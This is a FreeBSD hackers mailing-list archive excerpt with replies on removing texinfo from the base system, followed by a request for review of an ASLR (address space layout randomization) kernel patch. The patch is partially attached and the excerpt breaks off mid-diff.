X-Received: by 10.180.89.233 with SMTP id br9mr11409645wib.14.1403711282215; Wed, 25 Jun 2014 08:48:02 -0700 (PDT) Received: from ivaldir.etoilebsd.net ([2001:41d0:8:db4c::1]) by mx.google.com with ESMTPSA id hc4sm8206776wjc.38.2014.06.25.08.48.00 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Wed, 25 Jun 2014 08:48:01 -0700 (PDT) Sender: Baptiste Daroussin Date: Wed, 25 Jun 2014 17:47:58 +0200 From: Baptiste Daroussin To: Warner Losh Subject: Re: [CFR] Remove texinfo from base Message-ID: <20140625154758.GD23976@ivaldir.etoilebsd.net> References: <20140625103107.GB23976@ivaldir.etoilebsd.net> <20140625104540.GE86779@over-yonder.net> <20140625105209.GC23976@ivaldir.etoilebsd.net> <20140625110049.GF86779@over-yonder.net> <40EA1066-4776-4B2E-988A-9900BB842862@bsdimp.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="gRZ38brEgCoUohoa" Content-Disposition: inline In-Reply-To: <40EA1066-4776-4B2E-988A-9900BB842862@bsdimp.com> User-Agent: Mutt/1.5.23 (2014-03-12) Cc: arch@FreeBSD.org, hackers@FreeBSD.org, "Matthew D. Fuller" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 25 Jun 2014 15:48:07 -0000 --gRZ38brEgCoUohoa Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Jun 25, 2014 at 08:20:41AM -0700, Warner Losh wrote: >=20 > On Jun 25, 2014, at 4:00 AM, Matthew D. Fuller = wrote: >=20 > > On Wed, Jun 25, 2014 at 12:52:10PM +0200 I heard the voice of > > Baptiste Daroussin, and lo! it spake thus: > >>=20 > >> I have just committed the support for this in ports, anyway breakage > >> should be reported, right now it seems fine on my exp-run > >=20 > > Oh, yes. Sorry, I did phrase that poorly. This shouldn't _break_ > > anything, but I suspect it will uncover existing-but-hidden breakage. > >=20 > > Which is good. But does merit awareness that "hey, this will probably > > happen somewhere, so know this is a place to look when a build > > breaks". >=20 > I know it will break certain nanobsd configurations that build ports beca= use > dependencies there (at least for the ones I=E2=80=99ve done) aren=E2=80= =99t well handled. So > I agree that this patch is missing, at the very least, an UPDATING entry = and > a __FreeBSD_version bump. If you build a port that needs texinfo the port framework will do what it n= eeds regards, Bapt --gRZ38brEgCoUohoa Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iEYEARECAAYFAlOq7y4ACgkQ8kTtMUmk6EwnOACdEkWlY0xAybY/GW/Zk0lRmeQG DsQAoJjuVG3XCfqYdh1UKUYxwsFt1PNk =Lt+3 -----END PGP SIGNATURE----- --gRZ38brEgCoUohoa-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 25 16:25:54 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 08D7B983; Wed, 25 Jun 2014 16:25:54 +0000 (UTC) Received: from mail-we0-x22d.google.com (mail-we0-x22d.google.com [IPv6:2a00:1450:400c:c03::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 6AAF42A67; Wed, 25 Jun 2014 16:25:53 +0000 (UTC) Received: by mail-we0-f173.google.com with SMTP id t60so2331197wes.18 for ; Wed, 25 Jun 2014 09:25:50 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=3xw6+y39K0WhHkhQGW4AzB0ZQeMV+eAeQ4akcZMEScM=; b=qGjd7JD9wlzWWojn/ZNcJK0S9IsV46o2JS7vlM9vjtg05Ui5QuMriZRbIvUpk5gYhr 5UFgfsqxse8nLEMRapoWFpDUVOS6oi6rys9naxW3F6l/viHeBrSuFHN6pDB7O8075jlV oTJuC5BmvgIWnSgB1YqkP5Lii7bSIMiTRSCjPxi35CeLTglabEy//Xn14mEQIhFzh9gM Z3KqCXtTT3ErSEmovR3RMeNVBs9QpXdE+218OEhxhlMzyiK40nyg9PFPEgw6gpQJEbKv ATXkDb9vNpUDhpnlzjFtZQxt5VtRjD8qQ9CTnyrgop83y3Zv3nz0AR6dFfqNhj2JADbR M5gw== X-Received: by 10.180.198.116 with SMTP id jb20mr11268788wic.59.1403713549519; Wed, 25 Jun 2014 09:25:49 -0700 (PDT) Received: from ivaldir.etoilebsd.net ([2001:41d0:8:db4c::1]) by mx.google.com with ESMTPSA id n2sm6085525wjf.40.2014.06.25.09.25.48 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Wed, 25 Jun 2014 09:25:48 -0700 (PDT) Sender: Baptiste Daroussin Date: Wed, 25 Jun 2014 18:25:45 +0200 From: Baptiste Daroussin To: Warner Losh Subject: Re: [CFR] Remove texinfo from base Message-ID: <20140625162545.GE23976@ivaldir.etoilebsd.net> References: <20140625103107.GB23976@ivaldir.etoilebsd.net> <20140625104540.GE86779@over-yonder.net> <20140625105209.GC23976@ivaldir.etoilebsd.net> <20140625110049.GF86779@over-yonder.net> <40EA1066-4776-4B2E-988A-9900BB842862@bsdimp.com> <20140625154758.GD23976@ivaldir.etoilebsd.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Y46ssxGX9/CNNfN6" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) Cc: arch@FreeBSD.org, hackers@FreeBSD.org, "Matthew D. Fuller" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 25 Jun 2014 16:25:54 -0000 --Y46ssxGX9/CNNfN6 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Jun 25, 2014 at 09:09:30AM -0700, Warner Losh wrote: >=20 > On Jun 25, 2014, at 8:47 AM, Baptiste Daroussin wrote: >=20 > > On Wed, Jun 25, 2014 at 08:20:41AM -0700, Warner Losh wrote: > >>=20 > >> On Jun 25, 2014, at 4:00 AM, Matthew D. Fuller wrote: > >>=20 > >>> On Wed, Jun 25, 2014 at 12:52:10PM +0200 I heard the voice of > >>> Baptiste Daroussin, and lo! it spake thus: > >>>>=20 > >>>> I have just committed the support for this in ports, anyway breakage > >>>> should be reported, right now it seems fine on my exp-run > >>>=20 > >>> Oh, yes. Sorry, I did phrase that poorly. This shouldn't _break_ > >>> anything, but I suspect it will uncover existing-but-hidden breakage. > >>>=20 > >>> Which is good. But does merit awareness that "hey, this will probably > >>> happen somewhere, so know this is a place to look when a build > >>> breaks". > >>=20 > >> I know it will break certain nanobsd configurations that build ports b= ecause > >> dependencies there (at least for the ones I=E2=80=99ve done) aren=E2= =80=99t well handled. So > >> I agree that this patch is missing, at the very least, an UPDATING ent= ry and > >> a __FreeBSD_version bump. > >=20 > > If you build a port that needs texinfo the port framework will do what = it needs >=20 > Except in environments that don=E2=80=99t do dependencies quite right, or= where only a subset > of ports tree has been imported and texinfo isn=E2=80=99t part of that=E2= =80=A6 But people with them > usually know, which is why UPDATING is needed. That=E2=80=99s all. There= =E2=80=99s nothing else for you > to do. Yes sure UPDATING was anyway intended I'm not sure about the __FreeBSD_vers= ion. regards, Bapt --Y46ssxGX9/CNNfN6 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iEYEARECAAYFAlOq+AkACgkQ8kTtMUmk6Exx0gCfc9mwkKffv/zbBG+yPP8gy/Sd eG4An14wQFabTUU16j01sjo7u3eWNEV1 =tFgj -----END PGP SIGNATURE----- --Y46ssxGX9/CNNfN6-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 25 17:01:44 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 14703A8A for ; Wed, 25 Jun 2014 17:01:44 +0000 (UTC) Received: from mail-pb0-f49.google.com (mail-pb0-f49.google.com [209.85.160.49]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id D44BB2E21 for ; Wed, 25 Jun 2014 17:01:43 +0000 (UTC) Received: by mail-pb0-f49.google.com with SMTP id rr13so1936858pbb.36 for ; Wed, 25 Jun 2014 10:01:43 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:content-type:mime-version:subject:from :in-reply-to:date:cc:message-id:references:to; bh=yDCMfHXhUvQKRbJXBamVUaNlNS12vi/GTBdFsifZw+E=; b=jPay56K7ql8+lXLgKmIMrqErId/tVaSGp6Xp24szgf+9G64sBZSGQMChwXU6Oxv3S3 ucld5j4X9qahpGfARZ39BnjkHiJroH4+qMACPiVmcWSFPeASiYb1+kEi8h56V4TnR1oD s1EWcIkpp1ELor25ly59eb64vGPqnYKXD6NAiKjt2Hkd11aWbuK+W/1fcRF8rKLnwFR9 091UJG1U1Lx69655Y3HzSv4LqR9v/DyDKaFXCeNitNnZL4QjA7uRqc5JYpovXACpL/Z5 Kr+KA/E/+4uoCCo2mmQRpK9EMkz3dJYpY/Xz/PbMj/K27jGMeS6F36KP5F6HesrkbB0J C1CA== X-Gm-Message-State: ALoCoQmx/8Q/prx7DLS4HUjlYdA0wfiRINvlmIzXb3WJIyg73f3a03J59abcBo7BQQpLV+KvQPwm X-Received: by 10.66.254.136 with SMTP id ai8mr12949843pad.37.1403712573988; Wed, 25 Jun 2014 09:09:33 -0700 (PDT) Received: from [192.168.9.241] (173-11-114-225-SFBA.hfc.comcastbusiness.net. [173.11.114.225]) by mx.google.com with ESMTPSA id vs10sm5919512pbc.38.2014.06.25.09.09.32 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 25 Jun 2014 09:09:33 -0700 (PDT) Sender: Warner Losh Content-Type: multipart/signed; boundary="Apple-Mail=_788F477C-A05C-439A-9B5A-6DA1B3145878"; protocol="application/pgp-signature"; micalg=pgp-sha512 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: [CFR] Remove texinfo from base From: Warner Losh In-Reply-To: <20140625154758.GD23976@ivaldir.etoilebsd.net> Date: Wed, 25 Jun 2014 09:09:30 -0700 Message-Id: References: <20140625103107.GB23976@ivaldir.etoilebsd.net> <20140625104540.GE86779@over-yonder.net> <20140625105209.GC23976@ivaldir.etoilebsd.net> <20140625110049.GF86779@over-yonder.net> <40EA1066-4776-4B2E-988A-9900BB842862@bsdimp.com> <20140625154758.GD23976@ivaldir.etoilebsd.net> To: Baptiste Daroussin X-Mailer: Apple Mail (2.1878.2) Cc: arch@FreeBSD.org, hackers@FreeBSD.org, "Matthew D. Fuller" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 25 Jun 2014 17:01:44 -0000 --Apple-Mail=_788F477C-A05C-439A-9B5A-6DA1B3145878 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 On Jun 25, 2014, at 8:47 AM, Baptiste Daroussin = wrote: > On Wed, Jun 25, 2014 at 08:20:41AM -0700, Warner Losh wrote: >>=20 >> On Jun 25, 2014, at 4:00 AM, Matthew D. Fuller = wrote: >>=20 >>> On Wed, Jun 25, 2014 at 12:52:10PM +0200 I heard the voice of >>> Baptiste Daroussin, and lo! it spake thus: >>>>=20 >>>> I have just committed the support for this in ports, anyway = breakage >>>> should be reported, right now it seems fine on my exp-run >>>=20 >>> Oh, yes. Sorry, I did phrase that poorly. This shouldn't _break_ >>> anything, but I suspect it will uncover existing-but-hidden = breakage. >>>=20 >>> Which is good. But does merit awareness that "hey, this will = probably >>> happen somewhere, so know this is a place to look when a build >>> breaks". >>=20 >> I know it will break certain nanobsd configurations that build ports = because >> dependencies there (at least for the ones I=92ve done) aren=92t well = handled. So >> I agree that this patch is missing, at the very least, an UPDATING = entry and >> a __FreeBSD_version bump. >=20 > If you build a port that needs texinfo the port framework will do what = it needs Except in environments that don=92t do dependencies quite right, or = where only a subset of ports tree has been imported and texinfo isn=92t part of that=85 But = people with them usually know, which is why UPDATING is needed. That=92s all. There=92s = nothing else for you to do. Warner --Apple-Mail=_788F477C-A05C-439A-9B5A-6DA1B3145878 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - https://gpgtools.org iQIcBAEBCgAGBQJTqvQ6AAoJEGwc0Sh9sBEAX6EQAKIhsFfHmnnNxZgoWB+GFIuF IJwVq2TSL1+InLufCcQcxsWvHfqDEcR5oDTgdjMTdrf9S1PTiMtHYP8TYoPMivjN U1iWtJfDdMSEQkk5t449TU+m4q7YqV9FZh2rx2MSXQ2E8fRbX2HhUl1p+PZPcEwF coPV2caY04LYhgyoE08a/S7nsQ1jm1hO1KrWjzaftr7CPWuvxjmZEQv4sunyU9kB MhrE5m0rV31n40sAuayduzfRWEesbwwLLtM5FK167nuX0JAW5GSEKeKt16ar9eQR nHV/yHWPc8yVlm/cY5NGp20BW4TxAmRaKoi4Yx3JYg8jyKCHP+Ahery65j2I5Eht y1qQta/StmD2hXNsdVzQAD72K3829zuadN4fdyvxDhXW3ckglMoCiPfUtTt82Cvk xBaHb1pvKIbKfFx61XiVVwzWtYClY6VB7+jF6RjHTLQo3mmHfFgvdTPJMPi8Cmgg b2uB+9lEpDYG5O0YdwLlwG2m5FufU/BmTtDEcC4BMok+vL8q3mqU8YftHX7pLdQE l+tvXUdm5w63Kp0DnpSh11AsVtPcOSQEqXuoq5cxIwBwp9Fh3lPntgEzKze552l2 1EBGR2+2ieCbekqggcHUsa32k4U+iZ2f3Mf4oRFyQkNp18exAXPbBOE9S6Ce6nkd 1BhFyGNJBRbsf7S9D8sj =D/gg -----END PGP SIGNATURE----- --Apple-Mail=_788F477C-A05C-439A-9B5A-6DA1B3145878-- From owner-freebsd-hackers@FreeBSD.ORG Thu Jun 26 23:27:31 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E334EC3F; Thu, 26 Jun 2014 23:27:31 +0000 (UTC) Received: from mail-qc0-x229.google.com (mail-qc0-x229.google.com [IPv6:2607:f8b0:400d:c01::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 5AAF02482; Thu, 26 Jun 2014 23:27:31 +0000 (UTC) Received: by mail-qc0-f169.google.com with SMTP id c9so3861148qcz.28 for ; Thu, 26 Jun 2014 16:27:30 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:mime-version:content-type :content-disposition:user-agent; bh=nIIlInPwepFUJPMI2urbakngKbDxTGLxLgLSvMpfsOo=; b=bIvL27EcVlBxQz6R0BPb6PDWdEb26fCHW9gCeODi+EiGLfWo2WvsLXLfsMYHa4rIO7 1kBGkOgGeHJQ+XCS4Ihi4KtcP2hlMdZFh2UOQtiXBzNbYcIqxAC3Y/dUhzqtJ6NkWjvp hY1p9GxX+91IZvfhjYzP/xzP75BlNgvqXsU61FazWC8fHu7XllgUTXxSg12aCdYoJmLt 9zdQBV5Hv9Df6wLkMkgthqh4qzOS7J7A6vlUNKPpksMQsCXse+HFXqFVT6iecJJMw0iC PUPHzuaztjttp1ccEvwjZ2p1EDOo6ohRgNg+gpSUlEuMIQi7wT8Jsic3hK/rPFN4cVOY +RMg== X-Received: by 10.224.70.7 with SMTP id b7mr27251033qaj.28.1403825250482; Thu, 26 Jun 2014 16:27:30 -0700 (PDT) Received: from pwnie.vrt.sourcefire.com (moist.vrt.sourcefire.com. [198.148.79.134]) by mx.google.com with ESMTPSA id g2sm13520087qaz.21.2014.06.26.16.27.29 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Thu, 26 Jun 2014 16:27:29 -0700 (PDT) Date: Thu, 26 Jun 2014 19:27:27 -0400 From: Shawn Webb To: freebsd-hackers@freebsd.org Subject: Help With ASLR Message-ID: <20140626232727.GB1825@pwnie.vrt.sourcefire.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="S1BNGpv0yoYahz37" Content-Disposition: inline X-PGP-Key: http://pgp.mit.edu/pks/lookup?op=vindex&search=0x6A84658F52456EEE User-Agent: Mutt/1.5.23 (2014-03-12) Cc: Oliver Pinter , kib@freebsd.org, alc@rice.edu X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 26 Jun 2014 23:27:32 -0000 --S1BNGpv0yoYahz37 Content-Type: multipart/mixed; boundary="61jdw2sOBCFtR2d/" Content-Disposition: inline --61jdw2sOBCFtR2d/ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hey All, I've exchanged a few helpful emails with kib@. He has glanced over the ASLR patch we have against 11-CURRENT (which is also attached to this email as a reference point). He has suggested some changes to the VM subsystem that I'm having trouble getting my head wrapped around. Essentially, he suggests that instead of doing the randomization in various places like the ELF loader and sys_mmap, we should modify vm_map_find() in sys/vm/vm_map.c to apply the randomization there. Here's his suggestion in full (I hope he doesn't mind me directly quoting him): The mapping address randomization can only be performed in the vm_map_find(). This is the place where usermode mapping flags are already parsed, and the real decision for the placement is done, with all the contextual information collected, the fixed requests are not passed there. Doing the 'randomization' in vm_mmap() means that the mmap command must be parsed twice, which presented patch fails to do in any sane way. Only mappings in the usermode maps should be randomized. Current patch does not randomize the mapping location at all, it only randomizes the hint address passed from the userspace, which is completely useless. It also fails to correct the address to honour the placement flags like MAP_32BIT or MAP_ALIGNMENT_MASK. What must be done is vm_map_find() requesting vm_map_findspace() for the address hole of the size of the requested mapping + (number of address bits to randomize << PAGE_SHIFT). Then, the rng value should be obtained and final location for the mapping calculated as return value + (rng << PAGE_SHIFT). If no address space hole exists which can satisfy the enlarged request, either a direct fallback to the initial length should be performed (I prefer this), or exponential decrease of the length up to the initial size done, and findspace procedure repeated. Also, the vm_map_find() knows about the superpages hint for the mapping being performed, which allows to not break superpages. When superpage-aligned mapping is requested, SUPERPAGE_SHIFT (available =66rom pagesizes[1]) should be used instead of PAGE_SHIFT in the formula above, and probably, a different amount of address bits in the page table page level 2 to randomize, selected. =3D=3D=3D end of kib@ suggestions =3D=3D=3D I have a few concerns, though: 1) vm_map_find is also used when loading certain bits of data in the kernel (like KLDs, for example); 2) It's not possible to tell in vm_map_find if we're creating a mapping for the stack, the execbase, or any other suitable mmap call. We apply ASLR differently based on those three aspects; 3) vm_map_find is also used in initializing the VM system upon boot. What impacts would this cause? I would really appreciate any feedback. Thank you in advance for any help or guidance. Thanks, Shawn --61jdw2sOBCFtR2d/ Content-Type: text/x-diff; charset=us-ascii Content-Disposition: attachment; filename="2014-06-21_aslr.patch" Content-Transfer-Encoding: quoted-printable diff --git a/lib/libugidfw/ugidfw.c b/lib/libugidfw/ugidfw.c index 0dc423d..a4a38bc 100644 --- a/lib/libugidfw/ugidfw.c +++ b/lib/libugidfw/ugidfw.c @@ -36,6 +36,9 @@ #include #include #include +#include +#include +#include =20 #include =20 @@ -44,6 +47,8 @@ #include #include #include +#include +#include =20 #include "ugidfw.h" =20 @@ -329,14 +334,19 @@ bsde_rule_to_string(struct mac_bsdextended_rule *rule= , char *buf, size_t buflen) cur +=3D len; } if (rule->mbr_object.mbo_flags & MBO_FSID_DEFINED) { - numfs =3D getmntinfo(&mntbuf, MNT_NOWAIT); - for (i =3D 0; i < numfs; i++) - if (memcmp(&(rule->mbr_object.mbo_fsid), - &(mntbuf[i].f_fsid), - sizeof(mntbuf[i].f_fsid)) =3D=3D 0) - break; - len =3D snprintf(cur, left, "filesys %s ", - i =3D=3D numfs ? "???" : mntbuf[i].f_mntonname); + if (rule->mbr_object.mbo_inode =3D=3D 0) { + numfs =3D getmntinfo(&mntbuf, MNT_NOWAIT); + for (i =3D 0; i < numfs; i++) + if (memcmp(&(rule->mbr_object.mbo_fsid), + &(mntbuf[i].f_fsid), + sizeof(mntbuf[i].f_fsid)) =3D=3D 0) + break; + len =3D snprintf(cur, left, "filesys %s ", + i =3D=3D numfs ? "???" : mntbuf[i].f_mntonname); + } else { + len =3D snprintf(cur, left, "filesys %s ", + rule->mbr_object.mbo_paxpath); + } if (len < 0 || len > left) goto truncated; left -=3D len; @@ -500,6 +510,33 @@ bsde_rule_to_string(struct mac_bsdextended_rule *rule,= char *buf, size_t buflen) cur +=3D len; } =20 + if (rule->mbr_pax) { + len =3D snprintf(cur, left, " paxflags "); + if (len < 0 || len > left) + goto truncated; + left -=3D len; + cur +=3D len; + + if (rule->mbr_pax & MBI_FORCE_ASLR_ENABLED) { + len =3D snprintf(cur, left, "A"); + if (len < 0 || len > left) + goto truncated; + + left -=3D len; + cur +=3D len; + } + + if (rule->mbr_pax & MBI_FORCE_ASLR_DISABLED) { + len =3D snprintf(cur, left, "a"); + if (len < 0 || len > left) + goto truncated; + + left -=3D len; + cur +=3D len; + } + + } + return (0); =20 truncated: @@ -507,8 +544,8 @@ truncated: } =20 int -bsde_parse_uidrange(char *spec, uid_t *min, uid_t *max, - size_t buflen, char *errstr){ +bsde_parse_uidrange(char *spec, uid_t *min, uid_t *max, size_t buflen, cha= r *errstr) +{ struct passwd *pwd; uid_t uid1, uid2; char *spec1, *spec2, *endp; @@ -556,8 +593,8 @@ bsde_parse_uidrange(char *spec, uid_t *min, uid_t *max, } =20 int -bsde_parse_gidrange(char *spec, gid_t *min, gid_t *max, - size_t buflen, char *errstr){ +bsde_parse_gidrange(char *spec, gid_t *min, gid_t *max, size_t buflen, cha= r *errstr) +{ struct group *grp; gid_t gid1, gid2; char *spec1, *spec2, *endp; @@ -766,10 +803,15 @@ bsde_parse_type(char *spec, int *type, size_t buflen,= char *errstr) } =20 int -bsde_parse_fsid(char *spec, struct fsid *fsid, size_t buflen, char *errstr) +bsde_parse_fsid(char *spec, struct fsid *fsid, ino_t *inode, size_t buflen= , char *errstr) { size_t len; struct statfs buf; + struct stat sb; + int fd, paxstatus; + size_t bufsz; + + *inode =3D 0; =20 if (statfs(spec, &buf) < 0) { len =3D snprintf(errstr, buflen, "Unable to get id for %s: %s", @@ -779,6 +821,21 @@ bsde_parse_fsid(char *spec, struct fsid *fsid, size_t = buflen, char *errstr) =20 *fsid =3D buf.f_fsid; =20 + if (strcmp(buf.f_fstypename, "devfs") !=3D 0) { + bufsz =3D sizeof(int); + if (!sysctlbyname("kern.features.aslr", &paxstatus, &bufsz, + NULL, 0)) { + fd =3D open(spec, O_RDONLY); + if (fd !=3D -1) { + if (fstat(fd, &sb) =3D=3D 0) + if(S_ISDIR(sb.st_mode) =3D=3D 0) + *inode =3D sb.st_ino; + + close(fd); + } + } + } + return (0); } =20 @@ -852,13 +909,18 @@ bsde_parse_object(int argc, char *argv[], return (-1); } if (bsde_parse_fsid(argv[current+1], &fsid, - buflen, errstr) < 0) + &object->mbo_inode, buflen, errstr) < 0) return (-1); flags |=3D MBO_FSID_DEFINED; if (nextnot) { neg ^=3D MBO_FSID_DEFINED; nextnot =3D 0; } + if (object->mbo_inode) + snprintf(object->mbo_paxpath, MAXPATHLEN, "%s", + argv[current+1]); + else + memset(object->mbo_paxpath, 0x00, MAXPATHLEN); current +=3D 2; } else if (strcmp(argv[current], "suid") =3D=3D 0) { flags |=3D MBO_SUID; @@ -991,12 +1053,48 @@ bsde_parse_mode(int argc, char *argv[], mode_t *mode= , size_t buflen, } =20 int +bsde_parse_paxflags(int argc, char *argv[], uint32_t *pax, size_t buflen, = char *errstr) +{ + size_t len; + int i; + + if (argc =3D=3D 0) { + len =3D snprintf(errstr, buflen, "paxflags expects mode value"); + return (-1); + } + + if (argc !=3D 1) { + len =3D snprintf(errstr, buflen, "'%s' unexpected", argv[1]); + return (-1); + } + + *pax =3D 0; + for (i =3D 0; i < strlen(argv[0]); i++) { + switch (argv[0][i]) { + case 'A': + *pax |=3D MBI_FORCE_ASLR_ENABLED; + break; + case 'a': + *pax |=3D MBI_FORCE_ASLR_DISABLED; + break; + default: + len =3D snprintf(errstr, buflen, "Unknown mode letter: %c", + argv[0][i]); + return (-1); + }=20 + } + + return (0); +} + +int bsde_parse_rule(int argc, char *argv[], struct mac_bsdextended_rule *rule, size_t buflen, char *errstr) { int subject, subject_elements, subject_elements_length; int object, object_elements, object_elements_length; int mode, mode_elements, mode_elements_length; + int paxflags, paxflags_elements, paxflags_elements_length=3D0; int error, i; size_t len; =20 @@ -1037,11 +1135,23 @@ bsde_parse_rule(int argc, char *argv[], struct mac_= bsdextended_rule *rule, return (-1); } =20 + /* Search forward for paxflags */ + paxflags =3D -1; + for (i =3D 1; i < argc; i++) + if (strcmp(argv[i], "paxflags") =3D=3D 0) + paxflags =3D i; + + if (paxflags >=3D 0) { + paxflags_elements =3D paxflags + 1; + paxflags_elements_length =3D argc - paxflags_elements; + } + subject_elements_length =3D object - subject - 1; object_elements =3D object + 1; object_elements_length =3D mode - object_elements; mode_elements =3D mode + 1; - mode_elements_length =3D argc - mode_elements; + mode_elements_length =3D argc - mode_elements - + (paxflags_elements_length ? paxflags_elements_length+1 : 0); =20 error =3D bsde_parse_subject(subject_elements_length, argv + subject_elements, &rule->mbr_subject, buflen, errstr); @@ -1058,6 +1168,13 @@ bsde_parse_rule(int argc, char *argv[], struct mac_b= sdextended_rule *rule, if (error) return (-1); =20 + if (paxflags >=3D 0) { + error =3D bsde_parse_paxflags(paxflags_elements_length, argv + paxflags_= elements, + &rule->mbr_pax, buflen, errstr); + if (error) + return (-1); + } + return (0); } =20 diff --git a/lib/libugidfw/ugidfw.h b/lib/libugidfw/ugidfw.h index 5b7fcf2..cef469c 100644 --- a/lib/libugidfw/ugidfw.h +++ b/lib/libugidfw/ugidfw.h @@ -39,6 +39,8 @@ int bsde_rule_to_string(struct mac_bsdextended_rule *rule= , char *buf, size_t buflen); int bsde_parse_mode(int argc, char *argv[], mode_t *mode, size_t buflen, char *errstr); +int bsde_parse_paxflags(int argc, char *argv[], uint32_t *pax, size_t bufl= en, + char *errstr); int bsde_parse_rule(int argc, char *argv[], struct mac_bsdextended_rule *rule, size_t buflen, char *errstr); int bsde_parse_rule_string(const char *string, diff --git a/sys/amd64/amd64/elf_machdep.c b/sys/amd64/amd64/elf_machdep.c index fdc4d56..ffb5e31 100644 --- a/sys/amd64/amd64/elf_machdep.c +++ b/sys/amd64/amd64/elf_machdep.c @@ -26,12 +26,17 @@ #include __FBSDID("$FreeBSD$"); =20 +#include "opt_pax.h" + #include #include #include #include #include #include +#ifdef PAX_ASLR +#include +#endif #include #include #include @@ -81,6 +86,11 @@ struct sysentvec elf64_freebsd_sysvec =3D { .sv_shared_page_base =3D SHAREDPAGE, .sv_shared_page_len =3D PAGE_SIZE, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; INIT_SYSENTVEC(elf64_sysvec, &elf64_freebsd_sysvec); =20 diff --git a/sys/amd64/include/vmparam.h b/sys/amd64/include/vmparam.h index bda9722..5e83a8f 100644 --- a/sys/amd64/include/vmparam.h +++ b/sys/amd64/include/vmparam.h @@ -170,7 +170,7 @@ #define VM_MAXUSER_ADDRESS UVADDR(NUPML4E, 0, 0, 0) =20 #define SHAREDPAGE (VM_MAXUSER_ADDRESS - PAGE_SIZE) -#define USRSTACK SHAREDPAGE +#define USRSTACK (SHAREDPAGE - 4*PAGE_SIZE) =20 #define VM_MAX_ADDRESS UPT_MAX_ADDRESS #define VM_MIN_ADDRESS (0) diff --git a/sys/amd64/linux32/linux32_sysvec.c b/sys/amd64/linux32/linux32= _sysvec.c index c06ce11..f4f99f58 100644 --- a/sys/amd64/linux32/linux32_sysvec.c +++ b/sys/amd64/linux32/linux32_sysvec.c @@ -33,6 +33,7 @@ #include __FBSDID("$FreeBSD$"); #include "opt_compat.h" +#include "opt_pax.h" =20 #ifndef COMPAT_FREEBSD32 #error 